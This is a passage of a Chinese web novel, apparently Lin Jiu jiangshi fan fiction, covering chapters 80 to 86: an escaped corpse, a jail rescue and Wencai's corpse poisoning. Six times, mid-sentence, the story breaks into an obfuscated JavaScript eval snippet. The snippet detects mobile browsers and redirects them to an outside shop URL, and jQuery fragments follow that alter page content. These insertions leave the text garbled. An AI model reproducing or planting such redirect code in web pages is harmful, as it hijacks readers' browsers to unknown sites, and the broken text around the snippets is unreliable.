秋生知道她心里不痛快,刚想追出去安慰安慰,却被林九叫住了。 “先别走。” “师父……” 林九闭了闭眼,再睁眼时,眼里尽是对正事的凝重: “先干活,回头我再跟她解释。” 秋生小声哔哔:“最好是这样。” “……啧。” 屋内瞬间噤声。 林九白了他一眼,缓缓来到祭坛前说道: “准备纸,笔,墨,刀,剑。” 文才一脸迷茫:“什么啊?” 刚说完,头就被重重敲了一下,林九恨铁不成钢的说: “平时我跟你说的,都记到哪儿去了?!黄纸,红笔,黑墨,真刀,木剑啊!” “哦,我去拿!” 话音刚落,门“吱呀”一声,从外头被一只脚抵开,还是那只带点红泥的白色绣鞋。 林九突然意识到看姑娘家的脚不礼貌,他赶紧错开眼神,看了两眼任发他爹那张皱巴巴的脸,压一压内心的浮躁。 索性,尸体长得丑还是有点用的,林九看了一会儿,便心如止水。 …… 静之将手里拿的东西一股脑的塞到文才怀里,又将右手拎着的公鸡递给秋生。 奇怪的是,那公鸡在静之手中一直安安静静的,一脱离静之,它便扑腾起了翅膀,秋生好悬没把它放跑。 等他抓紧鸡脚,静之才淡淡地对他说: “放完血,记得把鸡提到厨房。” 说罢,没有再看一眼众人,便走了出去。 文才回过神,打量了一下怀里的东西,突然一脸喜色的对林九说: “师父,都对,就是您刚刚说的那几样东西。” “……拿来吧。” 见她准备齐全,且还知道抓只公鸡,看来,她一定是看过谁开坛做法了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086535|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 算了,知道这些,说明对方也是同道中人。他若再问,只会引得她更加不喜罢了。 林九暂且搁下对她的疑惑,拿了文才手里的菜刀,又拔去那公鸡脖间的几根鸡毛,这才开始放血。 转瞬鸡逝,血已放半碗,林九扬了扬手,叫文才去厨房把鸡处理了。 这才取了祭坛前的一颗米粒往烛火上一绕,霎时间,米粒在他指尖燃起一簇蓝色的火花,他趁机将这点火花弹进盛有鸡血的碗里。 火为阳,公鸡朝阳而啼,故它的血阳气也足,两两相加,阳气更胜,专刻阴寒之物。 待那火花燃尽的刹那,林九眼疾手快加入墨汁,手指纷飞间,又挑起桌上八卦镜覆于碗上,然后将那黑红色的液体一点一点泌入墨斗之中。 整个流程不过几息时间,被抢了活计的静之,不知何时已回到门外。 看着看着,竟从他身上看出了几分林风的影子,不由有些精神恍惚。 许是怔住了,她忘记收回眼神,林九将墨斗交给秋生,便注意到她了。 他不想把关系闹得那么僵,于是清了清嗓子,轻声问道: “有没有空,鸡交给文才处理,你和秋生在这副棺椁上弹一下墨斗线?” “……好。” 静之快速收回个人情绪,既然自己提出要做人家助手,那么做这些事儿也是应该的,她揉了揉脸,深呼吸了一口气,这才缓缓朝秋生走了过去。 秋生嘴角一勾,和林九将棺材盖子盖上后,这才将线的一头递给静之,两人慢慢弹了起来。 边弹,他边暗自腹诽,师父什么时候这么好声好气跟他 们说过话,刚刚那语气,他可是第一次听到呢。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第81章 林九被抓 无人的街道上,浅白色的雾气弥漫着,惨白的月亮渐渐被乌云遮住,不甚明亮的月光照在青石板路上,莫名有些阴森。 深更半夜,正是做美梦的好时候。 静之抱着自己的枕头睡得正香,一只脚甚至骑在上面,嘴角都快翘到天上去了。 这会儿,她正搂着林九的脖子,娇娇地晃荡着身子跟他说,要甜一下,他笑着说了声好。 好?! 呵,果然是个梦。 但她依旧很开心,双眼含情脉脉地凝视着林九的眼睛,慢慢凑了过去,呼吸渐渐交缠的时候,林九越发面红耳赤,她甚至可以清楚地听到他慌乱的心跳声。 静之: 老天爷,这个梦太真实了,请别让她醒过来! 当四片唇瓣距离只有0.001公分的时候,耳边突然传来哐的一声细响。 她动了动耳朵,别说醒过来了,一双眼睛更是用力闭紧,甚至连眼角都出现了一点细纹。 不可以! 除非火星撞地球了,否则谁都别想叫醒她!! 梦里的林九会对她笑得温柔,会让她叫阿九,如果有可能,她宁愿一直活在梦里。 就在梦里的阿九叫着小之,重新把着她的脖子要亲下去的时候,耳边突然又听到嘭的一声巨响,然后是一阵咵啦的木材碎裂声。 静之额头青筋直跳,右眼皮也突然跳个不停。 她猛地一睁眼,忍不住咒骂了几句,被子一掀,趿拉着绣鞋,啪嗒啪嗒的往声音来源处快步走去。 秋生回去了,林九不可能发出这么大的声音,一定是文才! 他最好是有真的有事。 没有的话,她就打死他! 义庄的半夜阴森森的,半盏灯都没有。 侧房常年放尸体的地方,更是让静之经常感到一股寒意,路过前厅时,她由于气愤走得飞快。 越靠近停放尸体的侧房,她的脚步却渐渐慢了下来。 跨进门槛,眼前便是左右两大排深色的棺材,棺材有新有旧,淡淡的木头霉味和刺鼻的新油漆味并存。 静之咽了口唾沫,悄悄蹲下身子把鞋跟提上。 她也不知道为啥要这样,可能等会要是发现了什么状况,能跑得更快吧。 随着她渐渐走近任发他爹的棺材时,突然有个穿白衣的人拿着盏灯从棺材堆里站了起来。 “妈呀,你吓我一跳!” 静之不停拍着胸口,忍不住对离她几米远的林九翻了个白眼。 看清他脸的同时,脑子里突然想起刚刚那个被打断的梦。 静之赶紧别过脸去,往门后蹭了几步,试图用门板的阴影掩盖住她骤然烧红了的脸颊。 林九也无语,他才是那个被吓得金钱剑都抖出来了的人。 只见站在阴影处的静之,一身白色里衣,睡觉前,她把发簪取了,此时一头白发中分披着,还发着淡淡荧光。 而且她今晚还偏偏吃了许多公鸡肉,所以有些上火,唇色比之平时更加红艳。 那一点红在一身白的衬托下更为扎眼。 比起提着灯的林九,她更像个刚吃完小孩的女鬼。 等二人都深呼吸几口气冷静下来后,林九这才朝她招了招手。 “这回糟了。” “什么糟——我去,尸呢?” 静之走近一看,那棺木已四分五裂,麻绳断成几节散了一地。 再往左边的窗户一瞧,缕缕夜风顺着那破烂的窗框往里吹,吹得她不禁打了个寒颤。 静之快走几步在碎裂的棺椁周边转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086536|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几圈,还不时把头伸到侧边的窗外查看,她急切地说: “完啦,阿九,呸,九叔!尸呢,那么大一个尸呢?” 林九背着手,望着窗外头乌云散去而露出来的皎皎明月,眉毛拧着都快打结了。 “让他给跑了。” 今夜偏偏月圆,难办。 “跑?跑哪去?” 此时静之突然觉得脖子一凉,脑子里全是金童说她是大补之物的话。 僵尸…不会来吃她的肉,喝她的血吧? 不要啊,她不想当唐僧。 静之搓了搓胳膊又打了个哆嗦。 林九看着她的动作,眼神变得有些复杂,但还是细心跟她解释: “僵尸尸变,首先会先去找自己的至亲。” “……为什么会先去找亲人?” 她还有一句话没问出口,为什么任老太爷不来找她呢? 金童不是说她对僵尸来说,很有吸引力吗? “人一生的记忆中最深刻的是亲人,大概率,最后一面见的也是亲人,所以在变成僵尸以后第一个想到的也是亲人。 变为僵尸以后是没有人性的,看见与脑子里遗留的影像相同的人就会咬。” “糟了,那还站着干什么?!快去救任老爷跟婷婷啊!” 静之心急如焚,她一脚踩到窗台上,扒着那个破窗洞就要往外跳,衣角却突然被身后林九扯住。 “树林里那滴血是你的吧?” 她回过头,脸上满是急切,却又突然浮上几分迷茫,“哪个树林,什么血?” 林九放开她,飞快地在旁边的祭 坛上收拾着黄符等一系列行头,边跟她解释说: 本小章还未完,请点击下一页继续阅读后面精彩内容! 第82章 社死的林九 今夜,又是个圆月。 秋生丢给她一套夜行衣。 “穿上,你那身衣服太显眼了,哦对了,还有这个。” 说着,他又递过来两条黑色布巾,“把头发和脸包起来,不能让衙门的人认出来是你。” “……行叭。我去穿,工具我都收拾好了,你师父说要糯米,你去厨房拿点。” “得嘞!” …… 两人一路疾驰,来到一处小巷,静之不放心,停下来又问了一句: “你糯米带了没有啊?” 秋生左右各蹬了一脚墙壁,轻轻松松跃上了墙头,边朝里偷看,边压低声音说: “哎呀,我做事,你放心!” 不过几秒,他又急切催促: “快快快,巡逻队换班了,趁现在!” 说罢,他猫着身子一个翻身往里头跳,静之无奈,只能赶紧跟上。 衙门此时也没亮灯,只有右后方的牢房传来一点亮光。 静之跟秋生一路避过好几个持枪的小兵,贴着墙绕到牢房后头。 牢房可能是为了防止犯人逃跑,后头这堵砖墙有四米多高,墙面平坦,没有个可落脚的地儿,秋生就算是功夫好,这回也抓瞎了。 静之看他面壁纠结了有好一会儿,她小心翼翼地伸头朝右边瞄了两眼,那守着牢门的两个小兵正小声聊天抽烟,她松了口气的同时,一把揪起秋生的衣领,脚下一点,就飞到屋顶。 一落屋脊,秋生立马半蹲下身子,诶诶两声,又朝正掀开瓦片往里偷看的静之低声问道: “这招什么时候教教我?” 静之朝后扬了扬手,有些不耐地用气声说: “都什么时候了……啊,找到阿九了,不过阿威也在。” 秋生趴了下去,“让我看看。” “右边三米多高有个窗户,我们找准时候从那儿进,然后……啊,有了,任老爷里侧是个视觉死角,等会儿躲那儿去。” 秋生自认为想出了一个堪称天衣无缝的计划。 他兴奋地转过头去,想与静之分享。 然而,让他惊讶的是,身后竟然只有一个黑色的衣角迅速下滑,眨眼间便消失不见。 秋生吃了一惊,连忙将脸重新凑回到那个瓦片的缝隙处,仔细往里瞧去。 只见静之趁着阿威正气势汹汹地恐吓他师父时,从窗口一跃而下。 落地之后,她像一只轻盈的猫一样,紧紧贴着墙壁悄无声息地小跑起来。 紧接着,一个漂亮的翻滚,顺势撩开任发身上的白布一角,滚到放置任发尸体的木板里侧,整套动作行云流水、一气呵成,竟未发出半点声响! 秋生看得目瞪口呆,心中不禁暗暗咋舌: 这姑娘的功夫可真是了得! 不过此刻情况紧急,容不得他多做思考。 于是,秋生深吸一口气,按照刚才静之的路线依葫芦画瓢,动作小心翼翼,以求不发出一点声响,很快也来到了静之的身旁。 此时此刻,紧张到极点的两人根本无暇顾及其他。 他们丝毫没有察觉到,躺在他们上方的任发尸体,指尖忽然微微颤动了一下。 恰在此时,阿威转身大步走出房间,也不知他在外头跟那些小兵们低声交代些什么。 静之和秋生见状,赶忙抓住这个难得的机会,紧贴着墙壁小心翼翼地移动脚步,终于来到了关押林九的栅栏门口。 “九叔……你干嘛?” 林九有些无语,他使劲掰了掰脑袋两侧的铁栏杆,见实在掰不动后,他放弃了。 好似觉得丢脸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086537|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他别过脸去,不敢再看静之,反而朝另外一边杵着的秋生低声怒斥: “你站在那做什么?!” 秋生想笑又不敢笑,抿着唇瓣死死憋住几秒,才淡淡地说: “没什么,我想等你把头缩回去我再现身。” “……为什么?” “我怕你难为情嘛!” 说着,他和侧面的静之对了个眼神,奈何静之眼里没有笑意,只有急切与担忧。 林九此时的耳朵不知是被铁栅栏挤红的,还是羞红的,反正红得惊人。 他瞪大了眼睛看着秋生,气得上唇的一抹胡子都微微浮动着: “还愣着干什么,快点帮我把头弄进去!” 秋生哦哦两声,推着林九的头顶,用着蛮力就往里头塞。 “嘶——放手!” “秋生,你弄痛他了,耳朵都红了,让我来!” 林九急急说道:“你不许动我!” 静之伸出的手突然僵在空中,她眸色一暗,低低哦了一声,语气有些失落,“那我给你们把风,你们快点。” 林九见她不再看过来,暗暗松了一口气,这会儿正揉着被压痛的头瞪着秋生: “你动动脑筋行不行?!” 秋生眼珠子一转,顿时计上心头,他嘴角渐渐扬起: “行,师父,不管我等会做什么,你千万别怪我哦!” “好,那你倒是快点!” 秋生嘴角越咧越大。 只见他毫无征兆地猛然蹲下,一旁的林九满脸疑惑,还没等他反应 过来秋生要做什么时,就感觉到一股拉扯感袭来,紧接着自己的外裤被秋生以迅雷不及掩耳之势给扒了下来。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第83章 激烈打斗 静之和秋生对了个眼神,然后一左一右小心翼翼地往里头的刑房包抄过去。 这时,她眼尖的看到刑房最里侧有个门洞,里头乌漆嘛黑的,她料想那任发可能躲进去了,于是贴着墙悄悄摸了过去。 走到门洞附近,她侧头一看,墙上刚好有个灯的开关,她咽了口唾沫,屏住呼吸,然后啪嗒一声打开开关朝里看去。 “啊!” 里头出现了一颗黑漆漆的头。 哦,是她自己。 吓死人了,牢房的门镶什么镜子嘛,阿威那家伙有毛病吧。 她松了口气的同时,轻轻把门往里一推。 “啊!!” 不知何时藏在门后的任发突然从里头窜了出来,静之爆发出一阵尖叫,下意识一脚给他撂倒,“秋生!这里!” 她刚想跑,脚踝却被任发一把抓住,猝不及防,她一个趔趄,好不容易稳住身子,后脖颈却突然一凉,她下意识俯身一个后勾腿踹到他屁股上,直把偷袭的任发踹飞到她前头去。 怎料秋生刚好要过来救她,任发这一飞,直接掐着秋生的脖子扑倒在地。 静之瞳孔一缩,扑过去死死把住他欲往秋生脖子伸的大嘴:“快贴!” 仿佛预感到危机,也或者是静之更为吸引任发,他在秋生把符贴过来之前,迅速换了个攻击对象,朝她扑了过来。 一时间,一人一尸翻滚在地,秋生举着符跟了上去,他眼神一凛,瞄准时机,迅速往下一贴。 “放开我,你贴我有爪子用!” 静之瞪大了眼睛被定在原地,眼角余光死死盯着那快戳到她脖子上的利爪。 就在这时,一道破空声响,她头顶的符被击飞落地。 静之一被解控,迅速揭下脸上的黑布巾捏住那符纸,从任发身下滚出去。 她忍不住朝坐在地上的林九看去,却见他突然别过脸去,就留个后脑勺给她。 嘿,刚刚是他吧。 嘴硬心软这四个字,可真是贯穿他的每一世啊。 …… 得亏那任发还没吸到血,肢体还不太协调,秋生躲了几招后,寻了个机会将他胳膊死死夹住,静之眼疾手快,将符往他脑门上一贴。 就在二人刚松了口气的同时,牢房大门口突然传来一阵喧哗: “什么人?” “进去看看!” 静之一惊,四下扫了两眼,发现她跟前摆着的钉床时,赶紧与秋生同时一跃,跳到床后躲了起来。 牢房门打开,阿威和两个小兵走了进来,林九快速收好墨斗等东西掩在身后,然后坐在地上望天望地,装作一副事不关己的样子。 阿威朝他哼了一声,便带着手下四处查看。 当视线触及到他突然站起来的表姨父时,阿威心里一阵恐慌,然而手下就在眼前,他只能强装镇定,粗着嗓子对他们说: “你们两个, 把我表姨父放回床上去。” 说罢,他举着枪接着四处排查,静之跟秋生听到渐渐接近的脚步声,又伏了伏身子。 突然,她眼尖的看到她的遮脸罩一角卡在了钉床上。 此时,静之只能祈祷阿威眼瞎了。 她屏住呼吸,扯住面罩一角迅速往下一拉。 应该……没发现吧? “嘿嘿,你们两个,放好了就出去,除了我,谁叫门都不许开啊。” 阿威:好小子,这回不玩死你! 他放轻步子慢慢走了过去,就在秋生跟静之两人心提到嗓子眼儿的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086538|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,突然听到阿威在外头说: “表姨父,你放心,我一定会替你抓到凶手的……这什么东西?” 耳边突然听闻哗啦一声细响。 不会吧,不会吧,那个傻子不会把符掀了吧?! 静之和秋生面面相觑,然后不约而同把头伸出一看。 果然。 “快贴回去!” 阿威一手符纸,一手枪,奸笑着走了过来: “嘿嘿,看你们这回躲到哪里去!” 就在这时,秋生突然一脸惊恐指了指阿伟身后,“你,你后面!” 阿威依旧一脸狞笑,学着秋生的样子伸出手指向身后,“我后面?我后面当然是我的表姨父喽!表,表——” 他的指间突然戳到一抹濡湿黏腻的液体,霎时间,他的额头滑下一滴豆大的冷汗。 耳边突然一阵破空声袭来,阿威下意识往下一蹲,奈何他长得高,头顶的警帽一下就被任发一胳膊扫翻在地。 此刻,肾上腺素急速飙升,他不停地挣脱任发的拉扯,一身警服早已破破烂烂,一路溃逃到牢房门口,把门敲得哐当作响,当下吓得连声音都快喊劈叉了: “快开门,快开门啊,我是你们队长阿威啊!” 就在这时,任发失去了目标,又朝这里头最吸引他的静之追了上去。 阿威边回头看静之跟秋生与任发打斗,边急切地拍着门板。 终于,那门开了。 一小兵伸出头来,“队长,你……啊啊啊!” 他的视线突然被阿伟后头正追赶静之的任发吸引,顿时发出一声尖锐爆鸣,哆嗦着手,又把门砰的一声关的 死紧。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第84章 傲娇的林九 婷婷一宿没睡,加上是个弱女子,脚程不快,秋生背着文才也跑得慢,五人紧赶慢赶,终于赶在晚饭前,才回到了义庄。 “秋生,我昨晚做饭的时候就发现糯米没多少了,你有自行车,你快去买点回来,给文才泡澡的话,就这点不够用的。” 静之敲了敲放糯米的米缸,发现只剩下一小瓢,不由皱起了眉头。 秋生没有立即答应,反而皱起了眉头说: “可是师父叫我去抓蛇。” 静之抖了抖缸中的糯米,将之全部盛起,分了一小部分下锅煮粥,另一小部分放在簸箕里,这才端着簸箕转过头问他: “抓蛇干什么?” “用蛇胆入药喽,你管那么多干嘛,反正师父叫我赶紧去抓,不然文才可就惨了。” 静之拧眉思考了一会儿,才对他说: “我去抓,你对米店的位置熟悉,你快去快回。” 秋生一脸狐疑:“你确定?” “哎呀,赶紧去啦!不然文才尸毒攻心就玩完了!” 说罢,静之端着那一点糯米走向前厅。 刚到前厅,就看到婷婷坐在文才旁边,一脸失魂落魄的样子。 静之叹了口气,把糯米递给旁边正捣药的林九。 林九接过一看,“就这么点?” “我叫秋生去买了。” “他不是要去抓蛇?” 静之举手:“我去。” “你……” 静之圆溜溜的猫瞳一转,双手撑着桌子迅速凑到他耳边说: “我什么,你……担心我啊?” 林九侧过头远离她温热的呼吸,又用药杵尾部抵住她的肩膀把她推远,这才直起身子,面无表情的说: “……要去就快去。” 静之瞄了他一眼,突然嬉笑一声,又趁他低头捣药的功夫,迅速捏一把他的红耳垂,然后拎过墙角的篓子就冲了出去,边跑还笑着说: “马上回来!” 林九没来得及害羞,而是迅速转头朝身后坐着的文才跟婷婷看了一眼,见他俩双双低下头去,他这才松了口气,又哼了一声,边捣着药边小声嗡嗡: “……没大没小。” …… 不过一刻钟。 静之就背着篓子回来了。 听着她身后时不时传来的鳞片摩擦声,以及嘶嘶声,林九不禁感到一丝惊讶。 她还真抓到了? 他强压下心中那一点点难以名状的不自在,故作镇定地开口问道: “......你没事吧?” 只见静之一脸轻松地回答道: “能有什么事?我刚一靠近它,它就僵在那里,动都不敢动一下呢,我就是把它捡回来而已。” 说罢,她便大大咧咧地放下手中的篓子,毫不犹豫地伸手一把揭开了盖子。 仿佛那里面装的不是毒蛇,而是其他正常的东西一样,她把手伸进去了。 林九又是一惊,放下手中的药杵,站起身来刚想过去阻止—— 只见静之莫名看了他一眼,然后伸出三根手指往里一捞,如同闪电一般紧紧掐住了蛇头,然后用力一拎,那条毒蛇就这样被她轻而易举地提了起来。 他默了。 他知道她性格开朗,脾气跟秋生有些像,调皮好动,但是不知道她居然能这么虎。 那蛇仿佛知道自己未来的悲催命运,这会儿终于不僵了,它忍不住扭动着蛇身,不住摇晃蜿蜒着,乱动了好一会儿,见实在挣脱不开,又把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086539|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细细的尾巴向上盘,一圈一圈圈住了她的手腕。 林九欲言又止:“你……” 这都不怕,还是不是个姑娘家了?! 静之朝他眨了眨亮晶晶的双眼,又轻轻一笑说:“怎么,又担心我啦?” 林九一梗,遂挪开视线,闭上了嘴。 他想,她是惯会得寸进尺的。 就在这时,静之被蛇身的凉意冰得浑身一抖,她立刻伸出另一只手把蛇身从手腕上掰开撸直,又朝看呆了的林九扬了扬下巴说: “赶紧的,拿刀取蛇胆,给你绷直了,我忙着呢,还要去做饭!” “……” 林九默默看了她一眼,暗暗叹了口气,又迅速拿了刀子来,一刀划开蛇皮,将蛇胆从它的腹膜中撕了下来,放进药盅里捣匀。 婷婷有些不敢看,见静之提着快去世的蛇就要走,她赶紧站起来跟了上去: “静之姐姐,我帮你吧。” 静之后退两步,把生无可恋,软趴趴的蛇举远一点,这才轻轻对她说: “不用,你刚……你去我房间休息一会儿吧,就从右往左数第二间。 等会做好饭了,我再帮你另外收拾一间客房出来。” 一说完,像是怕婷婷跟上,她赶紧甩着蛇,朝厨房快步走去。 婷婷见状,有些羡慕她的勇敢,望着静之离去的背影,她默默下了个决心,这才慢慢朝客房走去。 …… 不过一个小时,静之做好饭端到亭子里,回去前厅的时候,就看到文才在侧边的卧榻上慢悠悠跳着,榻上还洒了薄薄一层生糯米。 她忍不住朝躺在摇椅上看书 的林九问: 本小章还未完,请点击下一页继续阅读后面精彩内容! 第85章 秋生去向&救文才 静之吃饱后,揣着钱麻溜地朝镇上出发。 她生怕文才就这么嗝屁了,从义庄到镇口的这一路,甚至是用飞着过去的。 刚到镇口一落地,她还没来得及找人问问米铺在哪儿呢,就瞅见左前方的铺面人山人海,乱哄哄的跟菜市场一样。 还有个镶着金牙的老头儿在那儿一边维持秩序一边乐呵。 “别着急,别着急,都有,糯米又从隔壁村进了一批,大家排好队啊,别挤!” 得,看来全镇的人都晓得有僵尸闹腾了。 那拥挤的人群被老头儿简单分了两队,静之挑了一队人少的排在后面。 没一会儿,她身后就又跟来了好多人,两队都快排到街对面去了。 “别挤啊,推啥呢!”那米店老板,看到静之被一个壮汉推得一个踉跄,他赶紧扶住静之的胳膊,瞪着那壮汉吼道: “挤啥呢,没瞧见这老太太都快摔了吗?” 话刚说完,静之腰一弯,背一驼,脚晃晃悠悠的,抓着米店老板衣袖的手微微颤动,声音也不再清脆,变得像老妪一样沙哑: “老板~能不能卖给我 30 斤糯米呀,我家里还有个 5 岁的小孙子等我回去呢,没人看着可不行哟~” 后面那壮汉眼睛都快瞪出来了,他指着静之的背影,气得直哆嗦: “她明明看着这么年轻,哪里像个老太太!” 静之抖着弯曲的脚回过头,半耷拉着眼皮和蔼一笑: “小伙子~婆婆我今年 79 啦,可能是我长得年轻吧,不过头发可做不了假,你看我这头发哟~全白咯~” 她心里暗暗嘀咕:小伙子,你姑奶奶我少说了得有……七十几岁了,跟我斗! 米店老板咂了咂嘴,朝壮汉摆了摆手: “好啦好啦,跟个老太太计较啥,不过就是先后脚买的事儿。” 说着,他又拍了拍静之的肩膀说: “您在这稍等会儿,我去给您拿!” 见他这么上道,静之一个劲儿地点头说好,把碎银递了过去。 没一会儿,静之就听到喧闹的店里传来米店老板和一个年轻小伙的对话: “爹,要不要掺点黏米呀!” “嘘,小声点!”老板声音立马低了八度,“掺啥黏米,你想害死那老太太啊,人家能活这么大岁数多不容易,赶紧的,装 30 斤糯米!” “好!” 又过了一会儿,米店老板拎着个浅褐色的米袋子走了出来。 “喏,30 斤糯米,这是找的钱,您拿好喽!”说着,他还有点不放心地问:“您能提得动不?您家在哪呀,要不我让伙计给您送过去?” 静之一手接过钱,一手挥了挥说: “不用啦,你店里忙呢~对了,你见过秋生不,就是……在你这附近胭脂铺看店的那个小伙子~” 米店老板摸着下巴琢磨了好一会儿,突然“哦”了一声,有点心虚地说: “大概两个多时辰前,他来买过米啦。” “哦?知道他去哪儿了不?” 静之皱着眉头,心里犯起了嘀咕,这都走了这么久了,更何况他还骑着自行车,咋还不回义庄呢?她刚刚一路上可没发现他,难道抄近路了,她没发现? “……这个嘛,我可没瞧见,不说了,我得去忙咯,诶诶,那边的,别挤别挤!” 看着老板急匆匆地走了,静之抱起米来健步如飞朝镇口走去,这可把她身后的那个壮汉惊得目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086540|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞪口呆。 30 斤大米啊,还能走得这么快,这世上有哪个老太太能有这本事啊?! …… “发现秋生了吗?” 林九问。 静之喘着粗气,将手中那沉甸甸的一袋米用力地嘭的一声扔在了地上,扬起一片尘土。 她紧皱着眉头,一脸焦急地看向正在门口专心致志贴着符纸的林九说: “没有,我从出门开始就一直留意着沿途的情况,没找到他。” “这就奇怪了……按道理来说不应该找不到人的呀。”林九喃喃自语道,思索片刻之后,他转头看向静之说道: “算了,你先把米提到前厅去,我贴完这几张就回去。” 说话间,他的目光却忍不住再次朝着天空瞟了一眼。 还好,今夜并非月圆之夜,否则后果真是不堪设想。 但即便如此,他依然不敢有丝毫松懈和大意,又迅速转回去继续往门上贴符纸,此刻他手上的动作愈发加快,仿佛在跟时间赛跑一般。 得到林九的答复后,静之便不再多言,弯腰提起地上的那袋米,转身迈过门槛,穿过长长的门廊,脚步匆匆地朝前厅走去。 当她路过前厅的侧边卧榻时,突然瞥见文才正背对着她,靠在墙边躺着的时候,静之气不打一处来,快走两步上前,抬起手就是一巴掌狠狠地扇在了文才的腿上: “要死啦,你师父叫你动起来,你还敢睡觉!” 文才有气无力地“嗯”了一声,稍稍动了动腿,静之的目光立刻就跟着他的腿移动。 等看到他挪开的地方的糯米变得黑乎乎的时候,她的眼皮猛地一跳,赶紧把文才往墙边推了推。 这章没有结束,请点击下一页继续阅读! 第86章 女鬼缠身 林九见她转过去了,也没有再说什么,快速拿了朱砂跟毛笔过来,在秋生胸口上画驱邪符,边画边在心里暗骂: 臭小子,一天天就知道不学好,这回好了,被女鬼迷了。 啧,一瞅他平时跟在静之屁股后面的样子,就知道他对女色的定力不行。 而且平时这臭小子睡眠质量虽然好,但不至于他这个师父在他身上画半天符了,他都跟死猪一样,动都不动一下,这是做了几次。 想到这,林九画完符,又往他脸上看了看。 眼下青黑,嘴唇发白,眉间黑气萦绕,却面犯桃花。 臭小子,鬼桃花也敢接,肯定做了不止一次,不怕精尽人亡吗? 林九在心里骂骂咧咧,骂完又想起这是自己的徒弟,终归还是不忍心,只能悠悠叹了一声,两条剑眉拧得都快打结了,手上用了点力气扯过他垂落一旁的两个衣摆,将扣子一一给他扣上。 秋生就任他扯着,林九动一下,他轻嗯一声,侧过身子去了,把一侧的衣摆,连同他师父的一只手压在身下。 似有所感,秋生一把捞起林九的手放在脸颊边蹭,边蹭边嘟囔着:“小玉,你的手好滑呀~” 给林九气的,把被“玷污”的那只手大力往外一抽—— 好小子,这还不醒?! 林九手上的纽扣被捏得扁扁的,本来不想给这臭小子扣了,但是一想起那女鬼可能还会来纠缠,他闭了闭眼,压下满心的怒气跟忧虑,咬着牙硬是把那一整排扣子都扣上了。 然后大力起身,往后退了两步,生怕再慢一点,他这捏得死紧的拳头下一秒就要挥到秋生侧躺着撅起来的屁股上。 “阿九?”静之小小声唤着。 她有些疑惑,身后怎么没声儿了,只能听到林九略显急促的呼吸声,跟嘎嘣作响的声音。 她卷着胸前的一缕发丝,有些犹豫的问: “你生气啦?秋生长得俊,嘴又巧,有姑娘喜欢不是很正常的吗?就是没成亲就做那档子事儿,是过分了些……” 林九看了一眼她的背影,发现她歪歪扭扭地靠在门柱上,同样气不打一处来。 “站好!” 